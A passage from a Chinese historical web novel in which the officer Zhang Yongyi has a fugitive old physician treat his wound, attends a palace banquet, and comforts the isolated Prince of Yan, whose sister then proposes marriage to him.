“反反复复渗血,总该有个两三个月吧?”
张永一满头是汗,却还是笑着点头:“果然是神医。”
老头“切”了一声,“你这伤,军中的大夫怎么说?”
“不过普通箭伤,没请大夫看。”
老头一瞪,张永一顿时有了种猫捉耗子的汗颜之感。
“没请大夫?”老头拾了桌上的包子狼吞虎咽,“给他剪开。”
义然担心张永一的伤,没有二话顺从地用剪子剪开了纱布。
伤口像是已经愈合了,但伤疤处糊着一层血痂,应该是天气太冷太干的缘故,血痂冻得黑紫,张永一略一用力,边缘便碎出了血块。
老头吹胡子瞪眼睛,“动什么动?显得你年轻胳膊肘子有力气啊!”
张永一面色讪讪。
老头又摸了一只肉包,“你今年多大……还没娶媳妇吧……你这个伤不好好处理……”
义然很着急:“会怎么样?”
“小心房中不谐。”
义然“呸”他:“你个老妖怪胡言乱语,我还没见过谁伤了胳膊然后不举的。”
老头觑了张永一一眼,见着年轻人居然红了耳朵,更起了玩笑的心思:“我才要呸你呢,呸呸呸!没见过?那是你小娃娃井底之蛙目光短浅!老道我行医制药六十余年,见过的死人比你见过的活人还多,你个小娃娃和我叫板,不知死活。你家这少爷年纪轻轻——”
老头一搭脉,“还是纯阳童子之身——”
张永一轻咳一声。
“大好青春,却要断送在这些自以为是的庸医手中,个中滋味品尝不到、子嗣重任担负不了,这得要抱憾终身啊!”
张永一按住撸袖子要抽人的义然,笑问:“神医,那我的伤究竟如何?”
他的耳朵还红着,屋内这么暖和,总不能是被冷风冻出来的吧。老头吞了肉包,又撕了只鸡腿啃起来,“你自己看,这么久了还留血痂……肉都长好了,但周围一圈时不时还渗些血……你不是还感觉这只手臂常常无力?”
张永一收敛笑意,“的确,拉弓时常常使不上力。”
老头丢了鸡骨,再掰了一只鸡腿,“那有时睡觉,做些绮丽的梦境时……”
“绮丽的梦境?”义然反问。
张永一却是立即懂了,神色更加尴尬,老头会心一笑,“贴心”地解释:“年轻人血气方刚,这都是正常的事,若是遇见这种情况,全身血脉通畅,这毒便会随着血脉遍布全身,所以第二天醒的时候,你还会觉得肢端无力,手指尖、脚趾尖感觉麻木,休息片刻才能恢复。”
老头吐骨头,滴溜溜的黑眼珠笑眯眯地看他,“年轻人,你说老道讲的,符不符合你的症状啊?”
张永一点头:“神医。”
义然无奈,也朝老头施礼:“是我冒昧了。
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”
老头唆手指,“我神不神不知道,不然也不会被人寻仇至此,但寻常那些大夫,都是庸医无疑,除了太医院里的……”
义然歪头:“太医院里的哪位?”
“算了——你这伤当时不重,处理得也及时,有些毒药残留是正常,我给你开几副药,先压制住再说。”
“不能根治吗?”
老头继续撕着鸡肉,“能啊,但你个东北回来的武官,靠杀人吃饭的,我建议你还是别根治了。”
“不是杀人……”
老头翻着白眼装作仔细在想,“没什么区别,杀自己人和杀异族人,都是杀人,不必区分。”
张永一无奈,“为何建议不根治?是需要什么很珍贵的药?还是……”
老头瞥着他手臂上的血痂,啃着鸡肉轻飘飘道:“什么都不用……就把这块肉剜掉不就好了么……”
义然一惊:“剜掉!”
“所以嘛,我不建议,你要是有这个决心,休息三五个月,那也行……不过——”
张永一和义然对视一眼。
老头唆完手指郑重道:“你既然断了我的死路,把我领回来想给我生路,那就别嫌我赖上你,我给你治病,你保我安宁。”
“能得神医入府,是家族的荣幸。”
“别叫我神医了,老道有名有号。”
“晚辈请教。”
老头端详张永一,满脸坦诚,不禁叹息:“算了,你给我换个名字吧,这样我躲得也心安些。”
义然道:“神医想叫什么?”
“说了别叫神医!”
“好的神医。”
老头再翻白眼。
张永一笑,自己收拾起碎落的血痂,“为先生入籍,有许多问题要冒昧请教——”
“不用入籍,老道一直都是化隆城的黑户,也不想见天日,为奴为婢,随意可以。最好,你下次出征时带上我,老道还不想死在化隆。”
张永一讶异,旋即笑道:“先生放心,我定说到做到。”
简单收拾了伤口,义然带老头置办屋舍日用,张永一穿好了衣服,再往正房探望梁国长公主。祖母醒了,但此时有客,张永一在门外少立片刻,问过他不在时祖母的情况,正要告退,就见一五十多岁上年纪的妇人从正门出来,她有些发福了,但眉目清秀,神色间有几分与梁国公主的相像。
“络儿?”
张永一愣了片刻这才认出来,刚要行礼,宋国长公主就拉住了他,“络儿这么高了,要有三五年没见了吧,来让我好好看看。”
宋国长公主是梁国长公主是异母妹妹,听说宋国祖姨母的这桩婚事,就是梁国与病逝多年的邕国长公主一齐说定的,这些年来宋国跟着儿女常年在外,上回相见,张永一还只有十五六岁。
宋国很欣慰:“络儿长大了,成了顶天立地的男子汉,方才你祖母和我说起你,那叫一个自豪——快些进去吧,你祖母现在啊,是一刻也不能看不见你。”
果然,屋内传来了梁国的呼唤:“谁啊?你跟谁在说话?是络儿回来了吗?”
宋国拍拍他的肩膀,不期拍在了左臂的伤口上,张永一忍着疼,笑容自然地将宋国长公主送了出去,这才回到正屋。
“见到你宋国祖姨母?”
“是。”张永一在火盆边拂去身上的寒意,这才坐到床沿。
“络儿,待会儿去了夜宴,记得替祖母给你元良王叔问好。”
张永一刚要笑着应是,忽然想起:“祖母,孙儿恐怕见不到郡王殿下。”
梁国想想,因着她自己出身不显,与陛下并不亲厚,张永一虽然是她的孙子,到底不是什么正经的皇亲国戚,靠着军功能参加上半场外臣宴就不错了,而元良郡王是宗室,于功业上没什么建树,他只能去下半场内臣宴,这的确要硬生生地错开来。
“也罢,到时候下帖子将元良请来便好,你很久没见过他了吧?他家的小娃娃既聪明又伶俐的,特别漂亮,你应该从未见过……”
张永一有了种不详的预感。
果然,梁国下一句的就是:“你年纪也不小了,可有什么心仪的姑娘?没有也无妨,化隆城里待嫁的姑娘数也数不过来,门第不要紧,就是婚事得快些定,子嗣是头等大事,最好明年的这个时候就让我抱上玄孙,这样哪怕是立时就木我也能瞑目了。”
4. 第四章 千山雪(四)
这是张永一第一次进畅春园,第一次入仪銮殿,却不是第一次见到永济帝,但再见的这眼,张永一惊诧地发现,小时候记忆里、还被父亲牵在手中的自己见过的那个青年有为、雄威难抵的君王,在短短几年里就老得不成样子。
他靠在龙椅上,或者是瘫在龙椅里,精神不济,又似是兴致缺缺,眼下横着乌青,脸色也有些蜡黄。他年轻时候的模样应当是极其俊朗的,五官标致又凌厉,不怒自威,帝王之意不言而喻,但这样的长相迫切需要一股气来撑着,失了这口气,他便会显得颓废又□□。
更显得刻薄寡恩。
张永一小心下拜,跪在他前头半步的是堂兄羽林卫千户张绰。
永济帝空洞的眼睛里落了些许神采,“哦,起来吧,张绰,让你弟弟上前,给朕看看。”
张绰小心起身,微侧开身示意张永一走上前去,遮在袖子里的手朝他比了个“三”,张永一便控制着步伐上前三步,在台阶前止步下拜。
“臣张络,拜见陛下,陛下万岁。”
永济帝神色松动,“站那么远作甚,上来。”
张永一应声,却稍稍偏头看向张绰,张绰面带笑容,还没来得及给他打手势,上头坐在永济帝身边的一个男人便笑着步下台阶,拉着张永一的胳膊,一级级地将人带到了最高一层。
“陛下,我说让你笑一笑,你瞧,又把孩子们吓住了。”
永济帝应是,这便扯了一个亲切却仍有距离的笑,对上张永一缓缓抬起的目光。
四目相对,张永一被那种积年日久的威势逼得再度低头。
那男人重新坐了回去,笑道:“张络,你祖母身体还好吧?陛下非常担心梁国长公主,不过听人说你家请了妙手孙芝娘子,便没再派太医去,怕叨扰了长公主。你小时候我见过你,以前觉得你和你母亲长得像,现在看来,你和你父亲就是一个模子里刻出来的……”
永济帝笑着反驳:“不对,应该说上半张脸像父亲,下半张脸像母亲。”
张永一轻声道:“祖母也是这样说的。”
眼前三个男人,连带着永济帝也齐声笑了出来。
“还得是陛下。”
永济帝鲜见地能这么稍微高兴一会儿,“张络,陆微给你取了字,叫‘永一’,可有什么含义?”
“回陛下,陆将军说他随便取的。”
那个一直在活跃气氛的男人笑道:“陆将军这是有大寓意,要让你自己去悟呢。”
张永一欠身点头应下。
永济帝端了酒盏,不知想到了什么往事,适时地再度将心绪低落下去,“陆将军为国鞠躬尽瘁。”
另一男人连忙也举杯,“敬英雄。”
从头到尾都保持安静的一个男子也附和出声,“敬英雄。”
内监给张永一上了酒,待四人干了杯中酒,张永一这才一饮而尽,心中正想着如何开口提裘衣之事,就听永济帝放下酒盏,轻声笑道:“今天早上的事,你知道了吧。”
张永一的心“咯噔”一声,连忙下跪。
“跪什么,一场误会而已,朕从来没有收到过这么合心意的礼物。”
张永一不自主抬头,见他又端了杯子,似是要向他劝酒,又似是说完了这么肉麻的话着实尴尬,他端着酒杯,不添酒、也不喝酒,只安静了片刻,又提起即将垮下的笑让他起来,“去吧,去玩吧。”
“臣告退。”
一直快退到了仪銮殿的正门,张永一这才敢问张绰,“方才陛下身边陪坐的那几位是?”
张绰拉他侧身隐入正门的阴翳里,“看见那位了,一直帮你说话的那位——”
张永一仔细望去,陪坐三人里笑容最多的便是他。
张绰道:“大理寺右寺丞卿茂山。”
见张永一一副恍然大悟又一脸茫然的样子,张绰笑着补充:“他有个孪生哥哥,南海道布政使卿伯鹤。”
“居然是他们。”
“是啊,他们也是极其有名的一对双胞胎兄弟,长得一模一样,一名澈,一名澄,取‘澄澈’意。”
张永一心中暗暗感叹。南海道布政使是封疆大吏,而大理寺右寺丞不过五品,这样几近天差地别的两个人居然是一对同胞兄弟。
“那位呢?”
顺着张永一手指的方向,张绰看去,“哦,那是英国公辛自宽,单名一个‘喾’字。”
张永一道:“我曾闻,升平末年唯一保住爵位岿然不动的便是英国公府——”
“是啊是啊,那剩下这位,你可得好好认识认识。”
“哦?”
张永一再度望去,正巧这沉默寡言的男子也抬头看来,他连忙避开视线,再看回去时,那人正侧着脸和永济帝说话。他似是有些醉了,眼神迷离而风姿特秀,他由永济帝亲自扶了一把,缓步走下台阶,行处若孤松之独立,静时仿玉山之将崩。
便在这般意料外的欣赏里,张绰赞叹的声音响起:“襄阳侯郇翾,陛下的姐姐辅国长公主的小叔子,陛下与陈皇后的长女晋国公主的公爹。”
张永一恍然。
张绰又补充道:“两年前、你刚走时他升的礼部尚书,现在也入阁了。”
“襄阳侯的爵位不曾动过吗?”
张绰将声音压得更低:“那可是辅国长公主的夫家,你觉得能动吗?前任襄阳侯——也就是公主驸马,他去世前将请封世子的折子递给了朝廷,朝廷批复后,这才来了第二波逆党清算,故而襄阳侯府没因为清算夺爵,但辅国长公主自请上表将侯爵削到了伯爵,等到陛下登基,晋国公主下降,以门第略低不配尚主为由又升了回来。”
张永一点点头,刚想开口顺便问问,能让陛下“偏心”至此,抛去辅国长公主这层关系和他鹤立鸡群的俊逸面容,这襄阳侯郇翾是否也有什么过人之处,这时就见仪銮殿外阔步走入三五个人,为首的中年男人高冠深服,气势逼人,尤其是他被黑罩蒙住的那一只左眼,眼睛罩得住,杀意兜不住,周围一圈各自热络的达官显贵纷纷与之见礼,打不上照面的也都默默行礼,热闹的场面一度沉静下来。
张绰用胳膊肘一捅他,张永一连忙跟着堂兄一并朝此人行礼。
不用他问这气焰嚣张的男人姓甚名谁,那男人就朝高台之上的永济帝自报家门:“臣霍辄拜见陛下,陛下万岁万岁万万岁。”
今夜,张永一反复被时局人情冲击的心潮终于因为大将军霍辄的到来抵达了顶峰。
破义律、定方台、轮扫西蕃,眼前那个足够在大楚史书里浓墨重彩写出成千上万字卓著战功的男人,那个席卷了儿时每一个少年英雄梦的男人,就这么站在了自己眼前。
“永一?永一!”
张永一回过神,一回头发现张绰身边站着一温文尔雅的男子,他一身明黄色的锦袍就算在昏暗的角落里也熠熠生辉。张永一方才从山巅跌落谷底的心,重又被太子沈碣的突然出现拔到了天边。
太子拦住他们的大礼,他笑向沈绰道:“本宫有几句话想和永一说。”
张绰连忙后退。
张永一还是叉手一礼:“太子殿下,燕王——”
太子道:“嗯,斫儿今夜不会来了,他在东宫,一个人郁郁寡欢的,张千户得空能否代本宫去看看他?”
言及燕王,太子妥帖的笑容里终于露出了担心,“他十四岁就藩,一年到头也就回来十几日,在化隆没几个同龄的朋友,你与他年纪相仿,有同袍之谊,更有救命之恩,他有些话憋在心里,不肯对我们讲……”
“臣明白,臣必会尽力。”
太子展颜,“那就有劳张千户了。元亨,你给张千户引路。”
张永一刚走上连接御花园和东宫的小道,便不自觉放慢了脚步。东宫之梅,若红光烛天,如万炬烜赫,与畅春园里的梅花是同样的品种,却无端开出了另一种征伐之意,尤其是穿过外围的红梅,开在最内一圈、被深雪压得枝桠低迷的蜡梅霍然出露眼前时,这种红刃白刀的兵戈血腥之气越发强烈。
“这便是东宫梅园……”
元亨听张永一喟叹,笑道:“是啊,这梅园始建于升平八年,由升平朝的昭文太子主持建造。我家太子殿下和西宫的陈王殿下也都很喜欢这些梅花,尤其是陈王,陈王殿下今年不过十四岁,却文采飞扬,已经为这片梅园赋了不少极好的文章,马上又要进封兖王……”
“兖王?”
元亨听张永一反问,这才意识到自己说错了话,刚要解释,迎面传来了沈磐的声音:“就是霍夫人所生的沈礴,人人眼红的霍大将军的亲外甥,过了今年的十月才满十四,就要开府就藩去兖地了。”
她带着整片梅园里的脉脉香气和宛若神降于此的所有光辉走来。
张永一微愣,连忙给她行礼,元亨便
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退了下去。
见张永一低着头一声不问,沈磐忍不住:“你没听出有什么问题吗?”
“还望公主指教。”
沈磐皱眉:“你是真不懂还是假不懂?”
张永一再拜:“臣十岁上,便被家中送去军中历练,常年不在化隆,对于化隆的这些事了解甚少。”
沈磐提着灯,上下打量他,“也难怪,我没怎么出过京,却少听京中谈论你这种人物,原来是这样。”
张永一忍不住挑眉抬眼,想知道“他这种人物”究竟是哪种人物,不过沈磐没有继续说,而是边提灯、边提裙,拾级而上,过了一会儿才轻声解释道:“国朝皇子,满十四岁就藩,满二十岁加冠,并封国、开府、纳妃、祭宗庙。沈礴还有十个月零二十五天才到十四岁,离二十岁冠礼还有整整六年,父皇这就等不及要给他加封,从陈王变成兖王,可见其如何得帝心。”
张永一轻声接话:“可晋封兖王后,便是就藩。”
沈磐驻足,回头盯着站在几级台阶下、坦荡无辜更兼困惑地抬头望自己的张永一,不禁被自己气笑,“你是真不知道啊!”
“臣该知道什么?”
沈磐干脆正身直面张永一,“你的祖母是梁国长公主,那你好歹也算是皇亲吧?掰着指头算算,你还是我表侄呢,这皇家的一应事宜,你居然一点也不知道?你还混不混官场了?”
张永一语塞。
他本想说,他志不在官场,心里则想着这浑水缸似的官场他不混也罢,可真当他要这么和沈磐说,迎着沈磐难以置信的目光,他像是第一天发觉,自己的父母兄弟、旧友新朋,与大楚的官场都有千丝万缕的关系,而他是大楚的五品千户,也是官场中人。
沈磐眼见着张永一在自己跟前走了神,认栽地转身继续走:“算了算了,对牛弹琴,太无趣了。”
张永一一步三个台阶,箭似地追上沈磐,“望公主指点。”
“本宫不想指点。”她脚步一停,指着半掩的房门,“哝,去吧,他独自一个人在里面。”
张永一望一眼黑黢黢的门缝,“殿下他——”
“拜那些奸邪小人所赐,就在东风亭那儿,大雪地里,差点把腿给跪废了——”
“雪地?”
沈磐讶然,旋即她明白,不禁冷笑:“外面是怎么说的,怎么说也没说他是大冬天跪雪地的吧。”
张永一呼吸一促,朝沈磐施礼,轻轻推开房门,跨了进去。
硕大的屏风割裂黑暗与光明,张永一越过不透光的屏风,这才看见深渊似的屋内,那孤独的一片微光原来是摆在窗下的一只炭盆。
燕王沈斫就枯坐在炭盆旁,腿上盖着厚厚的绒毯,背靠在椅子上。听见脚步声,他这才转过头,黑洞洞的一双眼睛映着炭盆的火色,莫名有了些虚弱的精神。
“永一?你怎么来了。”
张永一望着他的腿。
沈斫扯了一个笑:“哦,这个啊,没什么,我自己有分寸。”
张永一沉默地补上一个礼。
“外间有凳子,搬了来坐——不对,你在宫里不能呆太久,尤其是东宫。”
“是太子殿下让我来的。”
沈斫玩笑:“你这话说得让人伤心啊。”
“便是太子殿下没有让我来,我也会来的。”
这话会让人感到心流涌动,却也能让沈斫长长叹息:“我知道,但你不该来的。”
张永一不知该说什么,也不知道该看些什么,余光瞥见这面硕大的落地轩窗上树影一闪,雪影子开花似的砸在窗户上,随即便是细细簌簌的雪落之声、声声入耳。他蓦地感觉,这空旷的内室冷得可怕,分明盆中上好的炭火很旺,甚至哔哔啵啵地炸了几声响,窗缝也都仔细地掩好,这该是宁远边鄙多少年也感受不到的京城热烈,可他偏偏觉得冷。
他想到太子才说过的那句话,沈斫每年在京,也不过呆上十几日。
在这样的冷寂中呆满十几日。
张永一开口:“殿下何时回宁远?”
“七日便走。”
“不过完十五吗?”
沈斫听出了他话中一丝急迫意,“不了,宁远还有那么多将士,我要早些把朝廷的嘉奖给他们送去。”
顿了顿,他笑着补充:“你是第一个知道的,可千万别泄密哦。”
张永一心一紧。
5. 第五章 千山雪(五)
“殿下你的腿……要好好养。”
沈斫一扯唇角,“我知道。”
屋内再度陷入沉默。
不知过了多久,窗上的树影花姿变换了千百个形态,沈斫似是熬不住这样的冷清,主动开口问:“那你呢?什么时候回宁远?”
张永一没法回答。
沈斫看着他的反应,心里就有了答案,“梁国姑姑只有你这么一个孙子,她上年纪了,离不了你,也受不了打击,你理该留在她身边尽孝,切莫留下一生的遗憾。”
他的声音如此平淡,却让人越尝越觉得苦涩难咽。
“殿下,你也不要留遗憾。”
一息。
两息。
三息。
沈斫眉梢轻扬,扭头望了过来。
“七日,殿下不觉得太短了吗?”
沈斫静静凝望他。
“一年三百六十五日,太子殿下还有长平公主,只有七日能看见你。他们要等上三百多天,才能换得一次与你相见。”
沈斫垂眼。
“因为只有七日,很多话都来不及说,舍不得多说,只怕浪费了这珍贵的每一分每一秒,但他们又怕累到你、打扰你休息。”
沈斫闭眼。
“永一,正因为时间这么珍贵,所以只有七日。”
张永一鼻子一酸。
“一年三百六十五日,只有七日需要他们来承受这种锥心的痛苦。”
张永一不敢问这痛苦从何而来,但他说道:“帮至爱之人一起承担这份痛苦,他们甘之如饴。”
沈斫摇头:“因为是至爱,所以我不忍。”
张永一眼圈一热。
“有时候没有我,他们会过得很好——”
“不,他们不会——”
“会的,永一,知道得越多,感情消耗得越多,越不能脱身、越难得解脱。”
他埋头,忽然笑了一声:“你看我大姐,我们的年纪差得最大,我们的话也最少,所以我们之间最自在。她会为我向父皇求情,会为我担心,但这份担心不会伤了她的自己的心,就算我不在了,她也能过好自己的日子,这就是非常好的姐弟情谊。”
他抬头望窗上疏影,“而磐磐她会嫁人,她会有自己的烦心事,二哥就更不用说了,他是太子,既要担宗庙又要扛社稷,他们都太累了。这种苦,只能我一个人吃啊,活到最后也只有我一个人,他们何必因为我吃这些莫须有的苦痛。”
他靠在椅背上,上望穹窿,“这确实是莫须有的苦痛。”
沈斫闭上眼。
张永一缄默。
良久,张永一问:“殿下觉得孤独。”
“你也觉得,我来了化隆,反倒没有一个人守在宁远来得自在开朗吗?”
张永一凝眉,听他一声笑:“是,这里都是我的亲人,可我却觉得,这种孤独更难化解了。”
张永一刚要说话,沈斫忽然问:“永一,你家里有没有和你同龄的姊妹?”
张永一没有直接回答,反而道:“找一个人相伴一生,确实可以不那么孤独。”
沈斫的脑袋搭在椅背上,却歪着脸看他自言自语:“得一知己,相守白头,生当合衾,死亦同穴……”
沈斫转过脸,长长吐出一口气,张永一这才道:“有,不过都要比我小几岁,若留到了二十,大多也有了婚约……”
“永一……”
“嗯?”
“算了,还是别连累你们了。”
“殿下说什么?”
沈斫摇头,心里顿觉悲怆。
有时候,孤独能够吃人,会吃了他又吃了她,一生一世,也只会是他一个人。
“待会儿你出宫,回去帮我给梁国姑母问个好。”
**
张永一一推门,就见沈磐靠在门边,冻红的脸颊上挂着两道清泪。
“你们说的,我都听见了。”
张永一心中长叹,跨出门槛将门仔细阖上,忽然听沈磐边擦着眼泪边在他身后问:“张永一,你有婚约了吗?”
张永一呼吸一窒,手指紧紧扣上冰冷的门环,不敢回头轻易看沈磐的神色,只犹豫、猜疑、斟酌再三后慎重地回复她:“没有。”
“那你娶我。”
张永一愣在原地,遏制不住这种震惊的催动,催动他倏地转身直面沈磐的眼泪。
这一眼,他才发现,原来遥远虚无的零碎幻梦里骄蛮灵动的长平公主,这一瞬便像是一捧握在他手心的雪,温度高了会化,握紧了又会散,稍稍一用力便要碎。她系的是绯红的罗裙,嘴唇上是鲜艳的胭脂,眼圈是红的、脸颊是红的、鼻尖也是红的,可张永一看着她,却觉得这般精神的姑娘却比桃花般的披肩上缝的一圈白狐绒还要怜弱。
“公……公主。”
张永一躲开沈磐直白执着的目光,咽着喉头干涩,有些局促地劝解道:“婚姻不是儿戏,臣……”
可他还没说完,余光瞥见沈磐的眼泪如同两串宝珠,伴着手中风灯里的微光,径直散了下来。霎时,他的所有局促都在沈磐死命压抑住的呜咽里化为泡影。
下意识地,张永一要去接沈磐手中提着的灯,手指突然碰到了她冰冷的手背,顿时就如被规训教条抽了一鞭,火辣辣地清醒过来。下一瞬,他还没来得及撤回的手背就落了一滴眼泪,不是热的,却比天上的飞雪要温暖得多。
沈磐也似被张永一的温度烫到了,手往袖子里缩了缩,又连忙背过身揩眼泪。
炽热过后,便是比冰天雪地还要过分的严寒冷寂。
沈磐偏头解释道:“他很愿意和你说心里话。”
张永一下意识地跟着沈磐的脚步,一起走入漆黑的回廊。
“在宁远,他还有别的知己吗?”
张永一来不及细想,沈磐又道:“他从小话就少,也没人愿意和他玩,大姐出嫁早,二哥忙,小时候他可喜欢三哥了,但三哥去得早——你不知道,母后有我们五个孩子,三哥从小就聪明过人,四岁就进书院启蒙,拜文正公、元辅柳曦既为师,文章武艺,他哪一样都是千万人里的第一名……”
沈磐的声音又哽咽起来:“后来他十五岁,大病一场……”
张永一从沈磐手中接过风灯,默默等她平复。
“张永一,他说他孤独——”
沈磐忍不住哭了起来。
张永一如遭锥刺。
他明白了沈磐这番鲁莽是为何故。
“公主,你们是至亲的姐弟,他若知道你为了他高兴,放弃自己的幸福,他必然会自责。”
沈磐边抹着眼泪边笑:“张永一啊张永一,你若是个姑娘就好了。”
张永一耳朵一热。
“不过你幸好不是,你若真是,他再伤心也要避你如蛇蝎,只求不去拖累你。幸亏你不是,他还有个人能说上话……”
风过长廊,寂寞重卷。
“张永一,你还回不回宁远?”
张永一喉头一哽。
沈磐转过身,望向他的一双眼睛里全是哀伤:“我听说梁国姑母又生了病,连夜请了辅国府的孙芝娘子?孙娘子是辅国长公主府上的人,也曾在太医院供职,后来又回到太医院修习,守在辅国府以备外城落钥后的城中公卿贵妇病需,她的医术是跟孙太医学的——”
说到这,沈磐的哀伤更稠:“孙太医有妙手回春之能,可天不假年,两日前病故,这便只有两日,父皇的身体突然也垮了下来,若他还在,想来沈斫的腿……”
“殿下腿怎么了?”
听张永一着急,沈磐无奈:“没什么,就需要好好休养——”
她话一堵,过了半晌才自嘲苦笑:“怎么扯到这个了,唉,梁国姑母只有你一个孙子,她必然不会让你走的,你也要守在她身边尽孝,战场上刀剑无眼,总不能让白发人送黑发人。好吧,留下也好,长桫虽退,但没了陆微这样的老将,指不定要出什么岔子……若沈斫也能不去就好了。”
沈磐还在哀声自苦,就听廊下荡起了轻快欢腾的脚步声,一声声比廊上的雪还要欢快。风灯被夜风磋磨得奄奄一息,沈磐还看不清前路,就听稚子幼儿的喊叫声格外悦耳:“长平姑姑!”
“仪明?”
廊道尽头一排灯光追着飞逐的孩子,这孩子还不到成年人的腰背,却比过廊疾风还要迅速,这两排侍灯的宫人便成了他身后的尾巴,越拖越长,廊下越来越吵。
沈仪明直接扑到了沈磐怀里,冲劲大得要将毫无准备的沈磐扑倒。张永一伸手一拦,轻触到沈磐的背即刻低头,也不等沈磐介绍或者这嗓门大得能将瓦上积雪震落的孩子自我介绍,便打了一个长揖,不
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管不顾地送了过去。
沈仪明还抱着沈磐的腰不肯放手,奇怪地从她的怀里探出脑袋,朝着这莫名其妙的男子眨眼,“这谁啊?长得也不像五堂叔啊?”
沈磐这才要将沈仪明从自己身上扒拉下去,“这是张千户,你堂叔的好友。”
于是沈仪明离了沈磐,规规矩矩地向张永一回礼。一抬头,他两只星星眼里亮晶晶、饱含着善意,“我叫沈仪明,今年五岁啦,你叫什么?你今年几岁了——”
张永一一笑,刚要弯下身温和地接话,就见沈磐拉住见了活物就要凑上去稀奇一波的沈仪明,“仪明,你怎么一个人跑来东宫?你爹爹呢?你哥哥呢?”
沈仪明的目光还恋恋不舍地粘在张永一身上,“他们刚入宫,去仪銮殿见陛下啦,我想见长平姑姑,就自己来啦。”
说完,他又抱住了沈磐,黏糊糊地问:“姑姑,堂叔的病不重吧?还能抱我吗?”
沈磐揪一把他的脸蛋,“你都五岁了!还要我们抱?你堂叔伤了腿、站不起来,你可别闹他。”
“啊!”沈仪明满脸惋惜,松了一只手,指着追上来的宫人手中捧着的木匣,“难怪爹爹临时找了一幅字帖,我还奇怪,堂叔是将军!大!将!军!将军怎么还要练字呢?原来是怕他无聊。”
沈磐抬头,见领头的两个内监各自捧了一只木匣,不禁惊讶:“一幅字帖?这么多?”
沈仪明“哒哒哒”跑回去,敲敲那只四四方方的木匣子,“不是不是,这是爹爹和哥哥早早给堂叔备好的礼物,爹爹请了南边最好的师傅,用了最好的料子,选了最好的模样!”
张永一听了那匣子里传来的空洞声,也不知放了什么东西,不重不轻,内监端着跑动时还有金属响。
沈磐扫一眼张永一,蹲下来捧着沈仪明热乎乎的脸蛋轻轻一挤:“好好好,东西好,心意也是顶好的,你堂叔在前面的演花殿,你亲自去送,他保准高兴。”
“好!”沈仪明欢呼,一阵风似的又要跑没影。
沈磐拢起被沈仪明掀开的披风,一整晚都郁郁的脸上难得露出了一个疲惫却难得真心的笑:“他是我元良王兄的幺儿。”
张永一再望,已不见沈仪明的踪影。
**
“堂叔?堂叔?”
沈斫刚沉浸在不知怎样的一场梦里,霍然听见这样的呼唤,连忙用袖子将脸上的颓败失意抹得一干二净,就在沈仪明抱着两只木匣子从屏风后大剌剌闯进来时,他脸上刚好露出了疲惫与兴奋分寸拿捏得极其妥帖的笑意。
“仪明来了?”
“堂叔!你好多了吗?看,这是我爹爹和哥哥为堂叔准备的贺礼——”
沈斫听见了那匣子里“咣当咣当”的响动,刚提起兴致,就见沈仪明将沉甸甸的匣子放在他脚边,蹲在脚下捣鼓东西,一抬头,火光映照下,他稚嫩的脸蛋上尽是藏不住也不需藏的喜悦,“堂叔!生辰快乐!”
沈斫心上刚堵住的窟窿眼里又渗出血来。
沈仪明忙低下头将隔板抽开,并未注意到他这年轻却疲惫不堪的堂叔眼中,究竟划过了怎样的凄凉。
今天是他的生日。
今天自然也是母亲的忌日。
沈仪明将东西托在手中,呈给他看,“爹爹听长平姑姑说,堂叔一直想要张属于自己的袖箭,爹爹带着我和哥哥在江南、江西寻访了好多师傅,用了最好的轻玄铁,设计了最好的样式,冬月初才打好——”
玄铁反射着火光,映在沈斫的眼睛里也是亮幽幽。
“还有这个,这对护腕,刚好与袖箭相配,堂叔你看这上面的鹰隼,是要祝堂叔‘云霄万里,鸢飞唳天’!正好堂叔在宁远建了大功,一鸣惊人,此后戴着护腕袖箭防了小人,普天之下人人都要传颂堂叔的美名!”
沈斫俯下身,一把将沈仪明拉到怀里。
蓄不住的眼泪就这么滔滔不绝地涌下来。
沈仪明道:“堂叔,我刚才看见长平姑姑偷偷抹眼泪了。”
沈斫不说话,只用手拦在他肩上,不让自己的苦泪洇湿了他满身的喜气。
“堂叔不哭,要好好养病,药再苦也要乖乖吃。哦对了,爹爹还找了两幅《快雪时晴帖》,一幅是唐代摹本,另一幅是升平朝余杭高僧从一法师的摹本,极得神妙,堂叔闲着无聊可用来消磨时间。”
6. 第六章 永夜灯(一)
上元仍远,街上花灯就已绚烂得不成样子。遨游龙灯、花树地灯、摇尾鱼灯、花篮风灯、飘带街灯,各式各样的灯盏将归家的一路装点得春风十里。山阴道上之目不暇接,也胜不过此时光景,只是刚出启明门时,张永一遇上了同样出宫的襄阳侯父子,父子两人的脸孔就如同直视金乌耀日后,在眼底烙下的深深印记般难以消散。
照镜子般的一对父子。
张永一控缰缓辔,不禁想到了自己的父亲母亲。他们的面容已经在岁月磨洗中逐渐模糊,但每次想起他们,这种熟悉的感觉都会让他无比心安。他觉得这很奇怪,脑中可以一闪而过千万张不同的面孔,光靠视力和记忆,他一下子辨不出谁是谁,却能凭着那熟悉的感觉一下子找到那些至亲至爱的人。
他记得这样的感觉。
“公子?公子?”
义然连叫两声,这才把张永一迷路的魂叫了回来。
“公子在想什么?”
张永一摇头:“没什么——居然又有这么多人。”
万景楼下朝着顶层琉璃灯比划的年轻人不知凡几,几乎将西北侧的这条宽街大道都给挤满了。
“哈哈,毕竟是万景楼嘛。对了公子,那老头改名了,要叫‘崖然’,就是‘而容崖然,而目冲然……’里的那个‘崖然’,听他说是因为他原来的名号里也有个山。”
“你该不会要将‘冲然’、‘頯然’、‘阚然’全都搜罗起来吧?”
义然笑得见牙不见眼:“有何不可?”
“这些可不是什么好名字。”
“哪管呢,名字不过一个称呼,我与崖然同在一句古言之中,便是整整齐齐的一家人、没有血缘的亲兄弟——”
张永一笑:“才闹腾过,这就亲如手足了?他的年龄当你爷爷还差不多,你们该是亲如爷孙,这亲如手足一出,还不知你们谁占谁便宜。”
“不管不管,崖然的的确确是有大本事的,我敬佩他。傍晚公子你入宫后,崖然去给长公主看过,说长公主身体并无恶疾,只是心病深笃,需要静养。”
听着,张永一才吊起来的心稳稳落下,随即又问:“他没说我身上的——”
“公子放心,我全程在边上看着呢,不妥当的话半句也没有说。给长公主看过诊后,崖然可能看出长公主不想让你回东北,所以他让我问,他什么时候能够离开化隆。”
张永一神色凝重:“想离开化隆我确实有办法,只是他的身世不查清,恐怕难。”
义然叹气:“唉,是个黑户,却有这么高超的医术,看来只能去撬他的嘴巴了。不过公子,你有什么办法?你自己都不离了化隆,怎么能安全将他送走?”
想到燕王沈斫,张永一沉默不语。
**
“祖母,您怎么还没有休息?”
“等你回来。”
张永一依旧在炉边烘热衣袍,这才坐到床边,“祖母,孙儿这次没见到元良郡王,但看见他家的小公子仪明了。”
